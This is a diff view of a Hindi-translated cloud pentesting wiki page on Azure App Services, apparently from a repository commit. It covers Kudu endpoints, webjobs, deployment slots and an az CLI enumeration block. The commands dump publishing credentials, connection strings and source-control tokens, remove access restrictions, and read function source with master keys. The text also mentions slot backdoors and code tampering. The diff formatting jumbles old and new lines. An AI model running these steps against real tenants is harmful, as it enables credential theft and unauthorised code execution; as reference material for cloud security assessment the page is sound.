|
||||
- Authentication: az webapp auth show --name lol --resource-group lol_group
|
||||
आप एक वेब ब्राउज़र का उपयोग करके SCM से कनेक्ट कर सकते हैं `https://<SMC-URL>/BasicAuth` और वहां सभी फ़ाइलों और तैनातियों की जांच कर सकते हैं।
|
||||
|
||||
SSH
|
||||
### Kudu
|
||||
|
||||
Always On
|
||||
Kudu एक **तैनाती इंजन और Azure App Service और Function Apps के लिए प्रबंधन प्लेटफ़ॉर्म** है, जो Git-आधारित तैनातियों, दूरस्थ डीबगिंग, और वेब एप्लिकेशनों के लिए फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप के SCM URL के माध्यम से सुलभ है।
|
||||
|
||||
Debugging
|
||||
ध्यान दें कि App Services और Function Apps द्वारा उपयोग किए जाने वाले Kudu संस्करण अलग हैं, Function apps का संस्करण बहुत अधिक सीमित है।
|
||||
|
||||
Kudu में आप कुछ दिलचस्प एंडपॉइंट पा सकते हैं:
|
||||
- `/DebugConsole`: एक कंसोल जो आपको Kudu चलाने वाले वातावरण में कमांड निष्पादित करने की अनुमति देता है।
|
||||
- ध्यान दें कि इस वातावरण में **मेटाडेटा सेवा तक पहुंच नहीं है** टोकन प्राप्त करने के लिए।
|
||||
- `/webssh/host`: एक वेब-आधारित SSH क्लाइंट जो आपको उस कंटेनर के अंदर कनेक्ट करने की अनुमति देता है जहां ऐप चल रहा है।
|
||||
- इस वातावरण में **मेटाडेटा सेवा तक पहुंच है** ताकि असाइन किए गए प्रबंधित पहचानों से टोकन प्राप्त किया जा सके।
|
||||
- `/Env`: सिस्टम, ऐप सेटिंग्स, env वेरिएबल्स, कनेक्शन स्ट्रिंग्स और HTTP हेडर के बारे में जानकारी प्राप्त करें।
|
||||
- `/wwwroot/`: वेब ऐप का रूट डायरेक्टरी। आप यहां से सभी फ़ाइलें डाउनलोड कर सकते हैं।
|
||||
|
||||
## Sources
|
||||
|
||||
App Services डिफ़ॉल्ट रूप से कोड को ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देते हैं, लेकिन यह एक तृतीय पक्ष सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देता है।
|
||||
|
||||
- वर्तमान में समर्थित तृतीय पक्ष स्रोत **Github** और **Bitbucket** हैं।
|
||||
- आप प्रमाणीकरण टोकन प्राप्त कर सकते हैं `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
- Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर ऐप सेवा में कोड तैनात करने के लिए एक **Github Action** सेट करेगा।
|
||||
- यह वहां से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) इंगित करना भी संभव है।
|
||||
- आप दूरस्थ रिपॉजिटरी के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं `az webapp deployment source show --name <app-name> --resource-group <res-group>` या `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- एक **Azure Repository** का उपयोग करना भी संभव है।
|
||||
- एक **स्थानीय git रिपॉजिटरी** को कॉन्फ़िगर करना भी संभव है।
|
||||
- आप `az webapp deployment source show --name <app-name> --resource-group <res-group>` के साथ git repo का URL प्राप्त कर सकते हैं और यह ऐप का SCM URL होगा।
|
||||
- इसे क्लोन करने के लिए आपको SCM क्रेडेंशियल्स की आवश्यकता होगी जिसे आप `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` के साथ प्राप्त कर सकते हैं।
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रोसेसिंग, डेटा हैंडलिंग, या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है।
|
||||
वेब जॉब के 2 प्रकार हैं:
|
||||
- **निरंतर**: एक लूप में अनिश्चितकाल तक चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रोसेसिंग की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू अक्षम है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा।
|
||||
- **ट्रिगर किया गया**: मांग पर या एक शेड्यूल के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्या के लिए सबसे उपयुक्त है।
|
||||
|
||||
Webjobs हमलावरों के दृष्टिकोण से बहुत दिलचस्प हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचानों** के लिए विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
|
||||
|
||||
इसके अलावा, यह हमेशा दिलचस्प होता है कि Webjobs द्वारा उत्पन्न **लॉग** की जांच करें क्योंकि वे **संवेदनशील जानकारी** हो सकती हैं।
|
||||
|
||||
### Slots
|
||||
|
||||
Azure App Service Slots का उपयोग **एक ही App Service में एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है।
|
||||
|
||||
इसके अलावा, एक विशिष्ट स्लॉट के लिए **ट्रैफ़िक का प्रतिशत** रूट करना संभव है, जो **A/B परीक्षण** और बैकडोर उद्देश्यों के लिए उपयोगी है।
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय** हैं और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **यहां सूचीबद्ध Function apps को भी देख पाएंगे**।
|
||||
|
||||
वास्तव में, कुछ **सुरक्षा से संबंधित विशेषताएँ** जो ऐप सेवाएँ उपयोग करती हैं (`webapp` az cli में), **Function apps द्वारा भी उपयोग की जाती हैं**।
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -40,9 +89,10 @@ Debugging
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
@@ -51,18 +101,24 @@ az webapp show --name <name> --resource-group <res-group>
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
@@ -75,61 +131,39 @@ az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-gl_group
|
||||
az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get SSL certificates
|
||||
az functionapp config ssl list --resource-group <res-group>
|
||||
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -174,7 +208,7 @@ done
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### क्रेडेंशियल प्राप्त करें और वेब ऐप कोड तक पहुंच प्राप्त करें
|
||||
#### क्रेडेंशियल प्राप्त करें और वेबऐप कोड तक पहुँचें
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
@@ -196,6 +230,39 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## वेब ऐप्स बनाने के उदाहरण
|
||||
|
||||
### स्थानीय से पायथन
|
||||
|
||||
यह ट्यूटोरियल [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) से आधारित है।
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||
cd msdocs-python-flask-webapp-quickstart
|
||||
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है।
|
||||
|
||||
> [!TIP]
|
||||
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
|
||||
|
||||
**एक हमलावर इस फ़ाइल को डाउनलोड कर सकता है, इसे संशोधित कर सकता है, और इसे फिर से अपलोड कर सकता है ताकि वेब ऐप में मनमाना कोड निष्पादित किया जा सके।**
|
||||
|
||||
### Github से Python
|
||||
|
||||
यह ट्यूटोरियल पिछले वाले पर आधारित है लेकिन एक Github रिपॉजिटरी का उपयोग कर रहा है।
|
||||
|
||||
1. अपने Github खाते में msdocs-python-flask-webapp-quickstart रिपॉजिटरी को फोर्क करें।
|
||||
2. Azure में एक नया Python वेब ऐप बनाएं।
|
||||
3. `Deployment Center` में स्रोत बदलें, Github के साथ लॉगिन करें, फोर्क की गई रिपॉजिटरी का चयन करें और `Save` पर क्लिक करें।
|
||||
|
||||
जैसे पिछले मामले में, SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है।
|
||||
|
||||
> [!TIP]
|
||||
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना और एक डिप्लॉयमेंट को फिर से ट्रिगर करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
Reference in New Issue
Block a user